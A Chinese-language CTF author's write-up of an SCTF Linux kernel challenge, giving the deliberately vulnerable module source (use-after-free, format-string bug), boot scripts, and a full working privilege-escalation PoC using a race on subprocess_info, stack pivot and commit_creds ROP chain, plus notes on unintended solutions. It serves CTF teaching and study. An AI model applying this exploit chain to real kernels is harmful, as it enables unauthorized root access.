前言
SCTF中一道linux kernel pwn的出题思路及利用方法,附赛后复盘
赛时情况
题目在早上九点第一波放出,在晚上6点由AAA战队取得一血,直到比赛结束一共有7支战队做出此题,作为一个kernel初学者很庆幸没被打烂orz(虽然被各种非预期打爆了,还是需要继续努力
出题思路
考点主要来源于CVE-2016-6187 的一篇利用文章,原文链接https://bbs.pediy.com/thread-217540.htm
简单概括就是使用以下语句
socket(22, AF_INET, 0);
会触发 struct subprocess_info
这个对象的分配,此结构为0x60大小,定义如下:
struct subprocess_info {
struct work_struct work;
struct completion *complete;
const char *path;
char **argv;
char **envp;
struct file *file;
int wait;
int retval;
pid_t pid;
int (*init)(struct subprocess_info *info, struct cred *new);
void (*cleanup)(struct subprocess_info *info);
void *data;
} __randomize_layout;
此对象在分配时最终会调用cleanup函数,如果我们能在分配过程中把cleanup指针劫持为我们的gadget,就能控制RIP,劫持的方法显而易见,即条件竞争
题目源码
先给出这次题目的模块源码
#include <linux/module.h>
#include <linuxersion.h>
#include <linux/kernel.h>
#include <linuxpes.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linuxev.h>
#include <asm/uaccess.h>
#include <linuxab.h>
static char *sctf_buf = NULL;
static struct class *devClass;
static struct cdev cdev;
static dev_t seven_dev_no;
static ssize_t seven_write(struct file *filp, const char __user *buf, u_int64_t len, loff_t *f_pos);
static long seven_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
static int seven_open(struct inode *i, struct file *f);
static int seven_close(struct inode *i, struct file *f);
static struct file_operations seven_fops =
{
.owner = THIS_MODULE,
.open = seven_open,
.release = seven_close,
.write = seven_write,
.unlocked_ioctl = seven_ioctl
};
static int __init seven_init(void)
{
if (alloc_chrdev_region(&seven_dev_no, 0, 1, "seven") < 0)
{
return -1;
}
if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
{
unregister_chrdev_region(seven_dev_no, 1);
return -1;
}
if (device_create(devClass, NULL, seven_dev_no, NULL, "seven") == NULL)
{
class_destroy(devClass);
unregister_chrdev_region(seven_dev_no, 1);
return -1;
}
cdev_init(&cdev, &seven_fops);
if (cdev_add(&cdev, seven_dev_no, 1) == -1)
{
device_destroy(devClass, seven_dev_no);
class_destroy(devClass);
unregister_chrdev_region(seven_dev_no, 1);
return -1;
}
return 0;
}
static void __exit seven_exit(void)
{
unregister_chrdev_region(seven_dev_no, 1);
cdev_del(&cdev);
}
ssize_t seven_write(struct file *filp, const char __user *buf, u_int64_t len, loff_t *f_pos)
{
if (sctf_buf)
{
if (len <= 0x80)
{
printk(KERN_INFO "write()\n" );
u_int64_t offset = 0x80 - len;
copy_from_user((u_int64_t)((char *)sctf_buf) + offset, buf, len);
}
}
else
{
printk("What are you doing?");
}
return len;
}
// ioctl函数命令控制
long seven_ioctl(struct file *filp, unsigned int cmd, unsigned long size)
{
int retval = 0;
switch (cmd) {
case 0x5555://add
if (size == 0x80)
{
sctf_buf = (char *)kmalloc(size,GFP_KERNEL);
printk("Add Success!\n");
}
else
{
printk("It's not that simple\n");
}
break;
case 0x6666:
if (sctf_buf)
{
kfree(sctf_buf);
}
else
{
printk("What are you doing?");
retval = -1;
}
break;
case 0x7777:
if (sctf_buf)
{
printk(sctf_buf);
}
break;
default:
retval = -1;
break;
}
return retval;
}
static int seven_open(struct inode *i, struct file *f)
{
printk(KERN_INFO "open()\n");
return 0;
}
static int seven_close(struct inode *i, struct file *f)
{
printk(KERN_INFO "close()\n");
return 0;
}
module_init(seven_init);
module_exit(seven_exit);
MODULE_LICENSE("GPL");
ioctl
在自定义的ioctl函数中,设置了参数2为command,有三种情况:
- command = 0x5555时:调用kmalloc函数申请一个0x80的chunk
- command = 0x6666时:free chunk但指针没清空
- command = 0x7777时:调用printk输出,存在格式化字符串漏洞
一共两个漏洞点:0x80的UAF,和一个格式化字符串漏洞
write
写函数只能写最多0x80大小,但能指定写的大小,且重点是能从后往前写
init
内核的init如下:
#!/bin/sh
mkdir tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
insmod /flying.ko
chmod 666 /dev/seven
chmod 700 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
umount /proc
umount /sys
umount /tmp
poweroff -d 0 -f
主要设置tmp目录用来上传文件
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms
这里也限制泄露内核基址
qemu
qemu的启动脚本如下:
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel /home/ctf/bzImage \
-initrd /home/ctf/rootfs.img \
-monitor /dev/null \
-append "root=/dev/ram console=ttyS0 oops=panic panic=1 nosmap" \
-cpu kvm64,+smep \
-smp cores=2,threads=2 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic
多核,且开了smep保护,关掉了smap保护,且内核默认有kpti和kaslr保护,所以相当于开启了kpti和kaslr
利用
因为漏洞点很明显,主要讲讲怎么利用漏洞。
首先是泄露的问题,由于存在一个格式化字符串漏洞,所以可以直接利用它来leak kernel_base
具体代码如下:
write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",0x80);
show(fd);
scanf("%llx",&magic1);
注意这里不能使用%p,否则内核会检测到信息泄漏,得不到正确的结果。
然后接下来就是0x80的UAF利用,由于开启了freelist随机化和Harden_freelist保护,理论上来说,因为题目条件的限制,想直接劫持next指针实现任意地址写几乎是不可能的,所以这里不是考察的点,但这里存在了非预期,后文复盘会提到。
注意到0x80的分配用的是 kmalloc-128
,而 struct subprocess_info
此对象的分配也是使用的kmalloc-128
,由于题目存在UAF,所以当此对象落在我们能控制的chunk上时,就可以通过条件竞争劫持cleanup的指针,主要流程为:一个线程不断的调用socket(22, AF_INET, 0)
另一个线程则循环往chunk写数据,覆盖cleanup指针为我们的gadget。
pthread_t th;
pthread_create(&th, NULL, race, (void*)buf);
while(1) {
usleep(1);
socket(22, AF_INET, 0);
// getshell();
if (race_flag) break;
}
void *race(void *arg) {
unsigned long *info = (unsigned long*)arg;
info[0] = (u_int64_t)xchg_eax_esp; // cleanup
while(1) {
write(fd, (void*)info,0x20);
if (race_flag) break;
}
}
这里很重要的一点是我们的覆盖要确保只覆盖cleanup指针,也就是写0x20字节,从0x60往后写,如果覆盖多了数据,会在ROP返回到用户态后死在使用fs或者syscall的地方,原因似乎有多种,有些玄学,很多师傅都卡在这里,在此磕头了orz,但我在write函数定义了可以从后面开始写的行为其实也带有提示的意味,不然会有点多余。
我们劫持的gadget要实现的功能是控制栈落在可控区域,这样我们就可以通过栈迁移,从而在事先布置好的ROP链上执行,因为当控制RIP时,RAX的值为此时gadget的地址,所以我们通过以下gadget控制栈
xchg eax, esp; ret;
然后ROP链的功能就是提权+返回用户态
u_int64_t hijacked_stack_addr = ((u_int64_t)xchg_eax_esp & 0xffffffff);
printf("[+] hijacked_stack: %p\n", (char *)hijacked_stack_addr);
char* fake_stack = NULL;
//先装载页面
if((fake_stack = mmap(
(char*)((hijacked_stack_addr & (~0xfff))), // addr, 页对齐
0x2000, // length
PROT_READ | PROT_WRITE, // prot
MAP_PRIVATE | MAP_ANONYMOUS, // flags
-1, // fd
0)
) == MAP_FAILED)
perror("mmap");
printf("[+] fake_stack addr: %p\n", fake_stack);
fake_stack[0]=0;
u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr;
int index = 0;
hijacked_stack_ptr[index++] = pop_rdi;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = prepare_kernel_cred;
hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = commit_creds;
hijacked_stack_ptr[index++] = swapgs;
hijacked_stack_ptr[index++] = iretq;
hijacked_stack_ptr[index++] = (u_int64_t)getshell;
hijacked_stack_ptr[index++] = user_cs;
hijacked_stack_ptr[index++] = user_rflags;
hijacked_stack_ptr[index++] = user_rsp;
hijacked_stack_ptr[index++] = user_ss;
因为开启了kpti的缘故,所以我们实际上是通过在用户态注册 signal handler 来执行位于用户态的代码
signal(SIGSEGV, getshell);
void getshell()
{
if(getuid() == 0)
{
race_flag = 1;
puts("[!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root!");
system("/bin/sh");
}
else
{
puts("[!] failed!");
}
}
至此一个完整的提权过程完毕,以下是poc完整代码:
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <string.h>
#include <sys/timerfd.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <signal.h>
u_int64_t KERNEL_BIN_BASE = 0xFFFFFFFF81000000;
u_int64_t kernel_base;
u_int64_t raw_kernel;
u_int64_t pop_rdi; // pop rdi; ret;
u_int64_t mov_cr4_rdi; // mov cr4, rdi; pop rbp; ret;
u_int64_t prepare_kernel_cred;
u_int64_t commit_creds;
u_int64_t mov_rdi_rsi; // mov qword ptr [rdi], rsi; ret;
u_int64_t pop_rsi ; // pop rsi;ret
u_int64_t hook_prctl ;
u_int64_t poweroff_work_func;
u_int64_t power_cmd ;
u_int64_t mov_rdi_rax_je_pop_pop_ret; // mov rdi
//0xffffffff819b5084: mov rdi, rax; je 0xbb508f; mov rax, rdi; pop rbx; pop rbp; ret;
u_int64_t swapgs ; // swagps;ret
u_int64_t iretq ;
u_int64_t test_rbx_jne_pop_pop_ret;
long long int magic1;
struct DATA
{
char* buf;
};
void add(int fd)
{
ioctl(fd, 0x5555, 0x80);
}
void delete(int fd)
{
ioctl(fd, 0x6666, 0);
}
void show(int fd)
{
ioctl(fd, 0x7777, 0);
}
u_int64_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp;
void save_status()
{
__asm__ (".intel_syntax noprefix\n");
__asm__ volatile (
"mov user_cs, cs;\
mov user_ss, ss;\
mov user_gs, gs;\
mov user_ds, ds;\
mov user_es, es;\
mov user_rsp, rsp;\
pushf;\
pop user_rflags"
);
printf("[+] got user stat\n");
}
u_int64_t raw_kernel;
int race_flag = 0;
void getshell()
{
if(getuid() == 0)
{
race_flag = 1;
puts("[!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root!");
system("/bin/sh");
}
else
{
puts("[!] failed!");
}
}
static int fd = NULL;
u_int64_t xchg_eax_esp = NULL;
void *race(void *arg) {
unsigned long *info = (unsigned long*)arg;
info[0] = (u_int64_t)xchg_eax_esp; // cleanup
// stack pivot
u_int64_t hijacked_stack_addr = ((u_int64_t)xchg_eax_esp & 0xffffffff);
printf("[+] hijacked_stack: %p\n", (char *)hijacked_stack_addr);
char* fake_stack = NULL;
//先装载页面
if((fake_stack = mmap(
(char*)((hijacked_stack_addr & (~0xfff))), // addr, 页对齐
0x2000, // length
PROT_READ | PROT_WRITE, // prot
MAP_PRIVATE | MAP_ANONYMOUS, // flags
-1, // fd
0)
) == MAP_FAILED)
perror("mmap");
printf("[+] fake_stack addr: %p\n", fake_stack);
fake_stack[0]=0;
u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr;
int index = 0;
hijacked_stack_ptr[index++] = pop_rdi;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = prepare_kernel_cred;
hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = commit_creds;
hijacked_stack_ptr[index++] = swapgs;
hijacked_stack_ptr[index++] = iretq;
hijacked_stack_ptr[index++] = (u_int64_t)getshell;
hijacked_stack_ptr[index++] = user_cs;
hijacked_stack_ptr[index++] = user_rflags;
hijacked_stack_ptr[index++] = user_rsp;
hijacked_stack_ptr[index++] = user_ss;
while(1) {
write(fd, (void*)info,0x20);
if (race_flag) break;
}
return NULL;
}
int main()
{
// 0xffffffff81011cb0:xchg eax,esp
u_int64_t kernel_addr,onegadget,target;
signal(SIGSEGV, getshell);
unsigned long buf[0x200];
memset(buf, 0, 0x1000);
fd = open("/dev/seven", O_RDWR);
printf("fd: %d\n", fd);
if (fd < 0)
{
return -1;
}
add(fd);
write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",0x80);
show(fd);
show(fd);
scanf("%llx",&magic1);
raw_kernel = magic1 - 0x1f3ecd - KERNEL_BIN_BASE;
printf("[+] raw_kernel addr : 0x%16llx\n", raw_kernel);
xchg_eax_esp = 0xffffffff81011cb0 + raw_kernel; // xchg eax, esp; ret;
pop_rdi = 0xffffffff810016e9+ raw_kernel; // pop rdi; ret;
mov_cr4_rdi = 0xFFFFFFFF810460F2+ raw_kernel; // mov cr4, rdi; pop rbp; ret;
prepare_kernel_cred = 0xFFFFFFFF8108C780+ raw_kernel;
commit_creds = 0xFFFFFFFF8108C360+ raw_kernel;
mov_rdi_rsi = 0xffffffff81075f00 + raw_kernel; // mov qword ptr [rdi], rsi; ret;
pop_rsi = 0xffffffff811cad0d + raw_kernel; // pop rsi;ret
hook_prctl = 0xFFFFFFFF824C0D80 + raw_kernel;
poweroff_work_func = 0xFFFFFFFF810C9CE0+ raw_kernel;
power_cmd = 0xFFFFFFFF82663440 + raw_kernel;
mov_rdi_rax_je_pop_pop_ret = 0xffffffff819b5764 + raw_kernel; // mov rdi
swapgs = 0xffffffff81c00f58 + raw_kernel; // swagps;ret
iretq = 0xffffffff81024f92 + raw_kernel;
test_rbx_jne_pop_pop_ret = 0xffffffff811d9291 + raw_kernel;
printf("[+] xchg addr :b *0x%16llx\n", xchg_eax_esp);
save_status();
delete(fd);
socket(22, AF_INET, 0);
pthread_t th;
pthread_create(&th, NULL, race, (void*)buf);
while(1) {
usleep(1);
socket(22, AF_INET, 0);
// getshell();
if (race_flag) break;
}
return 0;
}
编译语句如下
gcc poc.c --static -masm=intel -lpthread -o poc
复盘
通过询问解题人和看赛后wp了解到几种解法。
预期中的非预期
- 由于random值其实是固定的,泄露出来后劫持freelist打modprobe_path
- 由于卡在返回用户态后死在fs或者syscall的地方,所以直接在内核中orw,或者写modprobe_path
第一点由于泄露random值这一点很麻烦,且远程和本地不同,在出题的时候想到过可以这样打,但由于预期解比这个简单,本意也不是想打这里,毕竟用户态已经有libc大师这种说法,不想再来个slub大师(,这样个人感觉就挺没意思了
纯非预期
wm战队的思路orz
docker环境
链接:https://pan.baidu.com/s/1FRg-emgeXC6-yFGEBwpGcQ
提取码:7777
供各位师傅复现